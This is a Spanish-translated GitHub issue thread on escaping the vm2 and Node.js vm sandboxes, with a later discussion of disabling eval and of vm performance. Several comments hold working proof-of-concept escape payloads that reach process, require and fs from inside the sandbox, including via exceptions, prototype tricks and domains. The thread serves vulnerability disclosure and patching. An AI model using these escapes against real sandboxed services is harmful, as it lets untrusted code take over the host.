Vm2: Escapando del sandbox de VM

Creado en 16 jun. 2016  ·  64Comentarios  ·  Fuente: patriksimek/vm2

Es posible escapar de la VM y realizar acciones muy indeseables.

Encontrado a través de la siguiente esencia en relación con la VM nativa del nodo: https://gist.github.com/domenic/d15dfd8f06ae5d1109b0

Tome los siguientes 2 ejemplos de código:

const VM = require('vm2').VM;

const options = {
    sandbox: {}
};

const vm = new VM(options);

vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

y :

const NodeVM = require('vm2').NodeVM;

const options = {
    console: 'off',
    sandbox: {},
    require: false,
    requireExternal: false,
    requireNative: [],
    requireRoot : "./"
};

const vm = new NodeVM(options);
vm.run(`
    const ForeignFunction = global.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`);

Ejecutando cualquiera de estas salidas lo siguiente:

{ dev: 16777220,
  mode: 16877,
  nlink: 14,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 476,
  blocks: 0,
  atime: 2016-06-15T22:20:05.000Z,
  mtime: 2016-06-15T22:19:59.000Z,
  ctime: 2016-06-15T22:19:59.000Z,
  birthtime: 2016-06-09T01:02:12.000Z }

He validado este comportamiento tanto en v4.4.5 como en v6.2.1

discussion

Comentario más útil

¡Argh! ¡Te estás poniendo al día! ;) Debo disculparme por guiarte así. Para cualquier audiencia; el problema con el alcance de la VM en node.js es con referencias a objetos en el alcance del host (desde el cual puede obtener una referencia a todo el alcance del host a través de la cadena de prototipos).

Ahora que ha anulado la propiedad constructor , tendré que ir debajo de ella:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

Todos 64 comentarios

Gracias por el informe, estoy trabajando duro en una nueva versión de vm2 y pude solucionar esta fuga creando contexto dentro del contexto creado. No estoy seguro de si hay otra forma de escapar de la caja de arena, todavía no he encontrado una.

const context = vm.createContext(vm.runInNewContext("({})"));

const whatIsThis = vm.runInContext(`
    const ForeignFunction = this.constructor.constructor;
    const process1 = ForeignFunction("return process")();
    const require1 = process1.mainModule.require;
    const console1 = require1("console");
    const fs1 = require1("fs");
    console1.log(fs1.statSync('.'));
`, context);

Intenté subir pero parece que no es posible ya que esto es true :

this.constructor.constructor('return Function(\\'return Function\\')')()() === this.constructor.constructor('return Function')()

He estado jugando con el enfoque que mencionaste anteriormente.

El primer objetivo era intentar adaptar su comentario para permitirme pasar cosas al entorno limitado, que es necesario para mi caso de uso. Por favor, corrígeme si esta es la forma incorrecta de hacerlo, pero parece que es la única forma:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {
        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Salidas:

Hello World Inside
Hello World Outside

Luego intenté nuevamente escapar de la máquina virtual y tuve éxito:

const vm = require('vm');

const log = console.log;

const context = Object.assign(vm.createContext(vm.runInNewContext('({})')), {
    'log': log
});

const userScript = new vm.Script(`
    (function() {

        const ForeignFunction = log.constructor.constructor;
        const process1 = ForeignFunction("return process")();
        const require1 = process1.mainModule.require;
        const console1 = require1("console");
        const fs1 = require1("fs");
        console1.log(fs1.statSync('.'));

        log('Hello World Inside');
        return 'Hello World Outside';
    })
`);

const whatIsThis = userScript.runInContext(context)();

console.log(whatIsThis);

Qué salidas:

{ dev: 16777220,
  mode: 16877,
  nlink: 16,
  uid: 502,
  gid: 20,
  rdev: 0,
  blksize: 4096,
  ino: 14441430,
  size: 544,
  blocks: 0,
  atime: Wed Jun 15 2016 17:04:25 GMT-0700 (PDT),
  mtime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  ctime: Wed Jun 15 2016 17:04:18 GMT-0700 (PDT),
  birthtime: Wed Jun 08 2016 18:02:12 GMT-0700 (PDT) }
Hello World Inside
Hello World Outside

Parece que no hay forma de inyectar cosas de forma segura en la caja de arena sin que esas cosas se usen para volver a salir de la caja de arena.

Hay una manera: los objetos deben contextualizarse al contexto de la máquina virtual. Hay dos formas de hacerlo. Puede clonar esos objetos en profundidad o puede usar Proxies. Estoy usando Proxies en el nuevo vm2.

https://github.com/patriksimek/vm2/tree/v3

He enviado el próximo lanzamiento a GH. Todavía es un trabajo en progreso, pero debería funcionar.

v3 también está roto:

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        'log' : console.log,
    },
});

vm.run(`
    try {
        log.__proto__ = null;
    }
    catch (e) {
        const foreignFunction = e.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const fs = require("fs");
        log(fs.statSync('.'));
    }
`);

Es un poco inútil jugar a este juego de whack-a-mole.

@parasyte gracias, fue causado por un error tipográfico en mi código. Está arreglado ahora.

No olvide detectar las excepciones.

'use strict';

const {VM} = require('vm2');

const vm = new VM({
    'sandbox' : {
        boom() {
            throw new Error();
        },
    },
});

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction("return process")();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        boom();
    }
    catch (e) {
        exploit(e);
    }
`);

@parasyte gracias, arreglado. Realmente aprecio sus contribuciones.

🚎 +1

@patriksimek ¡ agradable!

También tengo acceso a ciertos objetos en el alcance global que puedo aprovechar para salir de la caja de arena contextualizada. Este ni siquiera requiere pasar ningún objeto a la VM.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Reflect.construct = exploit;
    new Buffer([0]);
`);

@parasyte sheesh ! Debe haber una plétora de vectores por descubrir.

@keyosk Sí, probablemente ...

Por cierto, @patriksimek, ¡ el ES6 es mucho mejor que coffeescript! 👍

@parasyte gracias de nuevo, está arreglado junto con algunas puertas traseras más que encontré.
@keyosk Creo que los encontraremos todos.

¿Y este?

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    Object.assign = function (o) {
        return {
            'get' : function (t, k) {
                try {
                    t = o.get(t, k);
                    exploit(t);
                }
                catch (e) {}

                return t;
            },
        };
    };
    new Buffer([0]);
`);

@parasyte buena captura, arregló eso. Gracias.

Abriste una nueva lata de gusanos en un parche reciente.

'use strict';

const {VM} = require('vm2');

const vm = new VM();

vm.run(`
    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log(fs.statSync('.'));

        return o;
    }

    try {
        new Buffer();
    }
    catch (e) {
        exploit(e);
    }
`);

Maldita sea, estaba trabajando demasiado tarde y perdí la concentración. Escribí algunas notas de seguridad , principalmente para mí. :)

Gracias, arreglado.

Bueno, ¡ni siquiera he mirado NodeVM hasta ahora! Hay mucha más superficie para fregar, aquí ...

De inmediato noté un escape a través de arguments.callee :

'use strict';

const {NodeVM} = require('vm2');

const vm = new NodeVM();

vm.run(`
    function getParent(o) {
        return o.constructor.constructor('return this')();
    }

    function exploit(o) {
        const foreignFunction = o.constructor.constructor;
        const process = foreignFunction('return process')();
        const require = process.mainModule.require;
        const console = require('console');
        const fs = require('fs');

        console.log('\u{1F60E} ', fs.statSync('.'), '\u{1F60E}');

        return o;
    }

    (function () {
        exploit(getParent(getParent(arguments.callee.caller)));
    })();
`);

Bueno, esto nos apunta al problema inicial aquí: el contexto creado dentro del nuevo contexto no es suficiente, obviamente. Version corta:

vm.run(`
    global.constructor.constructor('return this')().constructor.constructor('return process')()
`);

Aún no he encontrado una solución. Tal vez parcheando el host con delete process.mainModule pero estoy seguro de que hay otra forma de subir hasta require .

Encontré una solución :-)

¡Argh! ¡Te estás poniendo al día! ;) Debo disculparme por guiarte así. Para cualquier audiencia; el problema con el alcance de la VM en node.js es con referencias a objetos en el alcance del host (desde el cual puede obtener una referencia a todo el alcance del host a través de la cadena de prototipos).

Ahora que ha anulado la propiedad constructor , tendré que ir debajo de ella:

function getParent(o) {
    return o.__proto__.constructor.constructor('return this')();
}

Investigué un poco aquí y noté que global.__proto__ === host.Object.prototype . Al aplicar Object.setPrototypeOf(global, Object.prototype) pude cerrar el cricle.

Gracias de nuevo.

@parasyte @patriksimek ¿ Está cerrado en la última versión publicada de npm?

Sí, podemos cerrar esto por ahora.

FWIW, solucionamos esto simplemente deshabilitando eval ... y teniendo mucho cuidado de no exponer referencias en la caja de arena.

#include <nan.h>

using v8::Local;
using v8::Context;

NAN_METHOD(enableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(true);

  info.GetReturnValue().SetUndefined();
}

NAN_METHOD(disableEval) {
  Local<Context> ctx = v8::Isolate::GetCurrent()->GetEnteredContext();
  ctx->AllowCodeGenerationFromStrings(false);

  info.GetReturnValue().SetUndefined();
}

void Init(v8::Local<v8::Object> exports) {
  exports->Set(Nan::New("enableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(enableEval)->GetFunction());

  exports->Set(Nan::New("disableEval").ToLocalChecked(),
               Nan::New<v8::FunctionTemplate>(disableEval)->GetFunction());
}

NODE_MODULE(vm8, Init)

Esto evita el escape ya que la cadena return process no se puede evaluar. Como consecuencia, también deshabilita las llamadas legítimas de eval() y del Constructor del generador de funciones. (La utilidad de estas características es bastante cuestionable).

@parasyte solo para mayor claridad, ¿esto es algo que implementaste en otro lugar? ¿O algo contribuyó a vm2?

@keyscores esto se implementó en otro lugar.

Sí, en otro lugar. Tenemos un proyecto de caja de arena similar que actualmente está a la espera de autorización para lanzarlo de código abierto. Perdón por la confusion. Estaba comentando cómo se resolvió el problema raíz en ese proyecto.

@parasyte ¿ Alguna actualización de su lanzamiento? Estaría interesado en comparar la implementación. Creo que todos ganan.

@keyscores Lo sentimos, todavía no hay nada que informar. El esfuerzo de código abierto se despriorizó debido a una mala planificación en la organización. : \

Sé que esto es un problema muerto, pero ¿hay alguna omisión conocida para la biblioteca vm de Node al ejecutar un código como este?

javascript vm.runInNewContext("arbitrary user input here", Object.create(null))

@parasyte : Solo por curiosidad, ¿por qué no deshabilitar eval inyectando global.eval = null; en la parte superior del código externo antes de ejecutarlo?

@ Eric24 ¡ Buena pregunta! Esta presentación explica por qué con cierto detalle: https://vimeo.com/191757364 y aquí está la presentación de diapositivas: https://goo.gl/KxiG73

El punto más importante es que hay muchas formas de llamar a eval() desde JavaScript, y reemplazar global.eval es solo una de ellas. En el momento en que revise la lista completa, se dará cuenta de que es imposible parchear evaluaciones mediante GeneratorFunction . Y esto no incluye miles de otras formas en las que eval() podrían verse expuestos por futuros cambios de ES.

Entonces, la única solución viable es deshabilitar las evaluaciones en V8 usando C ++.

@parasyte : Tiene perfecto sentido (y gracias por la presentación). Entonces, ¿su código C ++ deshabilita eval solo en la máquina virtual o también en el "proceso de host"?

@ Eric24 deshabilitará eval en el contexto en el que se llama a disableEval. Querrá inyectar esto en el inicio del código de área de usuario proporcionado que se ejecutará en la máquina virtual. Además, también puede ejecutar esto en su host y deshabilitarlo también en ese contexto.

@parasyte :

@Anorov Esto se informó hace solo unos días: https://github.com/nodejs/node/issues/15673 Permite escapar de VM incluso con un prototipo nulo en el sandbox. Solo es un problema si los dominios están habilitados (este no es el valor predeterminado, pero tenga cuidado con el uso de domain en toda su jerarquía de dependencias).

Aquí tienes una práctica prueba de concepto. Probado en el nodo v8.6.0:

// 'use strict';

const domain = require('domain');
const vm = require('vm');

const untrusted = `
const domain = Promise.resolve().domain;
const process = domain.constructor.constructor('return process')();
const require = process.mainModule.require;
const console = require('console');
const fs = require('fs');
console.log(fs.readdirSync('/'))
`;

domain.create().enter(); // Entering a domain leaks the private context into VM

vm.runInNewContext(untrusted, Object.create(null));

Tenga cuidado con fugas como estas. La única forma de estar a salvo de esta clase de vulnerabilidad es deshabilitar eval. Y esté cansado de que pueda haber otros problemas con vm fuera del alcance de eval.

@parasyte Gracias. Estoy ejecutando este código con Node de Python: https://github.com/Anorov/cloudflare-scrape/blob/master/cfscrape/__init__.py#L111

No se importan ni utilizan otras bibliotecas ( domain o de otro tipo). ¿Ve algún problema potencial con este código? Me gustaría evitar requerir dependencias de Javascript (como vm2) si es posible.

@Anorov Ah, ya veo. ¿Le preocupa que CloudFlare (o un MITM) intente proporcionar un código que podría salir de la caja de arena? Tendría que ser un ataque dirigido, pero no lo descartaría por completo.

Correcto. Alguien también podría imitar la página que estoy esperando.
que mi script piensa que es Cloudflare cuando no lo es. Estoy considerando también
comprobar que la dirección IP del servidor es propiedad de Cloudflare como
precaución adicional.

Pero independientemente, supongamos que este código se ejecuta en cualquier arbitrario
entrada del usuario y no solo de Cloudflare. ¿Es seguro el mecanismo de la zona de pruebas para
lo mejor del conocimiento de la comunidad Node?

El 2 de octubre de 2017 a las 10:10 p.m., "Jay Oster" [email protected] escribió:

@Anorov https://github.com/anorov Ah, ya veo. ¿Estás preocupado por eso?
CloudFlare (o un MITM) intentará proporcionar un código que podría salirse de
la caja de arena? Tendría que ser un ataque dirigido, pero no lo descartaría.
completamente fuera.

-
Recibes esto porque te mencionaron.
Responda a este correo electrónico directamente, véalo en GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-333718695 , o silenciar
la amenaza
https://github.com/notifications/unsubscribe-auth/AA5FI1K1_aDCq6-RPOkCc1ak7gs9KFlvks5soZeZgaJpZM4I22m8
.

@Anorov :

¿Es seguro el mecanismo de espacio aislado, según el mejor conocimiento de la comunidad de Node?

Absolutamente no. La documentación oficial hace esta nota muy fuerte:

Nota: el módulo vm no es un mecanismo de seguridad. No lo use para ejecutar código que no sea de confianza.

Soy consciente de esa advertencia, pero estoy preguntando sobre la practicidad.

El 3 de octubre de 2017 a las 4:34 p.m., "Cody Massin" [email protected] escribió:

@Anorov https://github.com/anorov :

¿Es seguro el mecanismo de sandboxing, según la mejor opinión de la comunidad de Node?
¿conocimiento?

Absolutamente no. La documentación oficial
https://nodejs.org/api/vm.html#vm_vm_executing_javascript hace que esto
nota muy fuerte:

Nota: el módulo vm no es un mecanismo de seguridad. No lo use para correr
código no confiable.

-
Recibes esto porque te mencionaron.
Responda a este correo electrónico directamente, véalo en GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-333969953 , o silenciar
la amenaza
https://github.com/notifications/unsubscribe-auth/AA5FIwNwNErztUZB-adB4KrC5WoBYs4Nks5sopplgaJpZM4I22m8
.

En la práctica, el mecanismo de espacio aislado no es seguro para el código que no es de confianza. Es por eso que @patriksimek ha intentado crear un mecanismo de espacio aislado seguro con la biblioteca vm2 . Esa es también la razón por la que

@Anorov En resumen, no confíe únicamente en vm . Pero es una herramienta útil como una sola capa de cebolla.

He estado jugando con la máquina virtual y el código C ++ sugerido para deshabilitar eval de

const userfunc = new Function('context',
  '"use strict"; disableEval(); return ' + '(() => {...userland code here... return ...})();');

Esto también funciona y es mucho más rápido (más de 1000 veces más rápido en algunos casos de prueba). Además de deshabilitar eval, también evito que el código del área de usuario contenga una referencia a 'global' (sin esta prueba, la función puede modificar el alcance global usando global.whatever). Esta parece ser una caja de arena efectiva y segura. ¿Qué me estoy perdiendo?

¿Su estrategia evita que las personas importen espacios de nombres como fs y modifiquen drásticamente sus servidores? También tengo curiosidad por la desactivación de eval, ¿por qué toda la preocupación por eval y no por el código fuera de eval?

@wysisoft : Buena pregunta. Sí, 'require' no está expuesto. Cada script, como parte de sus metadatos, define una lista de módulos "permitidos y verificados" que necesita, que se exponen individualmente a la función antes de que se ejecute. Para su punto específicamente, 'fs' no estaría en esa lista aprobada (pero para los scripts que necesitan almacenamiento temporal, se proporciona un conjunto de funciones de lectura / escritura limitadas).

Deshabilitar 'eval' es clave para detener una serie de exploits (consulte el comentario de @parasyte en 18NOV16). Permitir 'eval' hace posible acceder al alcance global de una manera que no se puede evitar de otra manera. Más detalles en el comentario de @parasyte en 1OCT17).

@ Eric24 No entiendo qué es "lento" en vm . Es exactamente el mismo tiempo de ejecución v8 que impulsa a nodeJS. ¿Estás seguro de que no estás haciendo algo tonto, como recrear la caja de arena cada vez que ejecutas el código? Hay algo de sobrecarga, pero no 1000 veces más.

@wysisoft eval() es un método de fácil acceso para escapar de la caja de arena. Deshabilitarlo cerrará permanentemente la trampilla de escape mediante la evaluación del código dentro del contexto privado . Pero reitero de nuevo, este no es el único vector de ataque y hay que tener cuidado con todo.

@parasyte : tengo una prueba muy simple que crea una función () y una máquina virtual con lo más cerca posible del mismo código para cada una, se ejecuta ambas 1000 veces e informa el tiempo total requerido. Código a continuación:

"use strict";

const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");

console.log('TEST=' + global.test);
let response = {result: 0, body: null};

// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
  '"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');

// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
  '"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123,  y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);

// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');

// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');

// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  //ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};  // << THIS IS THE PROBLEM!
  //context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

Como puede ver en la prueba, estoy creando el script y el contexto una vez, luego lo ejecuto 1000 veces. Sin embargo, en el caso de uso de destino real, tendré que volver a crear el contexto cada vez (potencialmente poder almacenar en caché el script compilado), porque cada ejecución es única y debe comenzar con un contexto nuevo). Sin volver a crear el contexto cada vez, la diferencia entre la función () y la máquina virtual es de 6 a 14 veces.

Pero después de mirar más de cerca, probé una variación del código (creando el contexto cada vez dentro del ciclo), que está más cerca del caso de uso real. Originalmente había cronometrado la creación única del contexto en poco menos de 1 ms, por lo que estaba incluyendo eso por iteración. Pero ejecutar el código real mostró al verdadero culpable: mientras que la VM aún es más lenta, el problema no es crear el contexto, sino crear el objeto 'ctx'. Eso es una gran sorpresa.

Pero será necesario crear un nuevo objeto para el contexto de la máquina virtual cada vez (aunque también se necesitará alguna variación para Function (), por lo que la diferencia entre los dos es de 6 a 14 veces (lo que sigue siendo significativo) .

Mmm. Acabo de probar otra prueba:

let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');


hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
  ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
  // let context = new vm.createContext(ctx);
  out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');

Aquí, el objeto 'ctx' se recrea cada vez, en ambas pruebas, pero el contexto solo se crea una vez. La diferencia de tiempo vuelve al rango de 6 a 14. Pero si quito el comentario de la línea que recrea el contexto cada vez, ¡fueron hasta 144 veces más lentas!

@ Eric24 Estás haciendo lo que dije en mi publicación anterior. 😕 script.runInContext() es el problema. Esto es efectivamente lo mismo que llamar a eval() (con un contexto v8 diferente).

La solución para solucionar su problema de rendimiento es llamar a runInContext una vez para compilar el código e interactuar con el código compilado a través de la referencia que devuelve, o las referencias que proporciona como argumentos de entrada. Por ejemplo, pasar algunos objetos new Event() para la comunicación bidireccional con el sandbox. Esto es lo que hace nuestro [sandbox todavía interno, no ha sido de código abierto por razones políticas] vm wrapper, y la sobrecarga es completamente insignificante.

@parasyte : Hmmm. ¿Pero el nuevo vm.Script () no compila el código? En cualquier caso, creo que para hacer lo que estás diciendo, lo que debería almacenar en caché es la referencia a runInContext, por lo que solo sufriré la sobrecarga la primera vez que se llame a un script. Definitivamente vale la pena considerarlo.

No. runInContext compila el código. Piénsalo. v8 es un compilador Just-In-Time . Tiene que ejecutar el código para compilarlo.

@parasyte : OK, pero de los documentos de node.js:
_Las instancias de la clase vm.Script contienen scripts precompilados que se pueden ejecutar en entornos sandbox específicos (o "contextos") ._

@ Eric24 La documentación es algo confusa. El fragmento de código asociado se "compila" en el mismo sentido en que un intérprete compila JavaScript en código de bytes. El JS es capaz de ejecutarse a través de un intérprete después de que se haya instanciado el objeto Script , pero la mayor parte de la ganancia de rendimiento de v8 proviene de compilar esta representación intermedia interpretada en código de máquina nativo. El último paso no comienza hasta que se llama a runInContext .

En realidad, el ciclo de vida del compilador JIT es más complejo que eso, ya que el código tiene que calentarse antes de que el JIT siquiera lo considere para la optimización. Hay muchos materiales de

Pero para proporcionarle algunos datos concretos, aquí está el código fuente relevante para runInContext : https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54 -L61

La referencia realRunInContext es del módulo C ++ contextify . Que puede encontrar aquí: https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660 -L719

La parte más importante de este código C ++ es posiblemente la llamada a EvalMachine , que vincula el código compilado al contexto actual y llama a script->Run() para comenzar el compilador JIT. Que por supuesto es lo que empieza a buscar código para optimizar.

¡Espero que ayude!

@parasyte : Sí, eso es útil. ¡Gracias!

Estamos luchando con una implementación usando vm2 sandbox. ¿Podemos llamar a código asíncrono dentro del sandbox de vm2? La razón es que necesitamos conectarnos a una fuente de datos como Mysql desde el sandbox de vm2.

Sí, puede async esperar dentro de la caja de arena, ¿qué problemas tiene?
Tenga en cuenta que si está ejecutando un código que no es de confianza, probablemente no desee
dar acceso sql completo a la caja de arena. En su lugar, probablemente desee agregar un
getdata () método al sandbox Que ejecuta código fuera del sandbox donde
ocurre la conexión SQL real.

El martes, 24 de octubre de 2017 a las 6:49 a.m. Rajagopal Somasundaram <
[email protected]> escribió:

Estamos luchando con una implementación usando vm2 sandbox. Podemos llamar
código asíncrono dentro del sandbox de vm2? la razón es que necesitamos conectarnos a un
fuente de datos como Mysql del sandbox de vm2?

-
Recibes esto porque te mencionaron.
Responda a este correo electrónico directamente, véalo en GitHub
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 , o silenciar
la amenaza
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
.

@wysisoft Gracias por la respuesta, hemos planteado el problema por separado con los detalles https://github.com/patriksimek/vm2/issues/102. Además, las configuraciones de acceso SQL son proporcionadas por el propio usuario y el script sandbox no accederá a nuestra base de datos de aplicaciones.

@ Eric24 ¿te importaría compartir la alternativa de 'nueva función ()'? Parece más limpio que la VM

@platinumindustries : Al final, no recomiendo la alternativa "new Function ()". Terminamos quedándonos con el enfoque de VM y nos enfocamos en optimizar ese código. Lo que tenemos ahora funciona muy bien. Honestamente, no puedo recordar exactamente qué nos empujó en esa dirección, pero sé que hubo varias pequeñas cosas que finalmente eliminaron el enfoque de la "nueva función ()" de la lista.

@ Eric24 Muy bien entonces. Además, en la nueva versión de NodeJS 10.9 * Tienen una opción para deshabilitar eval () en la vm. Entonces, ¿es suficiente o todavía necesito deshabilitarlo desde C?

Realmente lo siento por saltar a un viejo hilo.

Sin embargo, en el caso de uso de destino real, tendré que volver a crear el contexto cada vez (potencialmente poder almacenar en caché el script compilado), porque cada ejecución es única y debe comenzar con un contexto nuevo).

@ Eric24 Estoy viendo cómo podría potencialmente ejecutar algún código arbitrario usando vm2 dentro de una aplicación de servidor. Creo que mi caso de uso es similar al que mencionaste porque estoy viendo cómo puedo pasar parámetros / argumentos de una solicitud entrante al código que se ejecuta dentro de la máquina virtual.

En este momento, la única forma que puedo ver para hacer esto es crear un nuevo contexto cada vez, pero esto es realmente lento. Estoy tratando de averiguar si puedo reutilizar un objeto de contexto, pero uso algún otro mecanismo para proporcionar datos al código que se ejecuta dentro de la máquina virtual. @parasyte mencionó algo sobre la comunicación bidireccional usando objetos Event() , pero no me quedó del todo claro.

Me preguntaba si se encontró con un problema similar y, si lo hizo, ¿le importaría compartir algunos consejos sobre cómo lo resolvió? Gracias por tu tiempo.

@darahayes : En realidad, estoy creando un nuevo contexto para cada ejecución, pero no encuentro esto lento en absoluto. ¿Qué tipo de rendimiento está viendo en comparación con lo que espera? ¿Y cómo mides el rendimiento?

Estoy girando un nuevo proceso de nodejs para cada ejecución, y no es tan malo, menos de 100 ms de retraso.

¿Fue útil esta página
0 / 5 - 0 calificaciones

Temas relacionados

somebody1234 picture somebody1234  ·  4Comentarios

ghost picture ghost  ·  23Comentarios

vshymanskyy picture vshymanskyy  ·  8Comentarios

XmiliaH picture XmiliaH  ·  19Comentarios

seanc picture seanc  ·  3Comentarios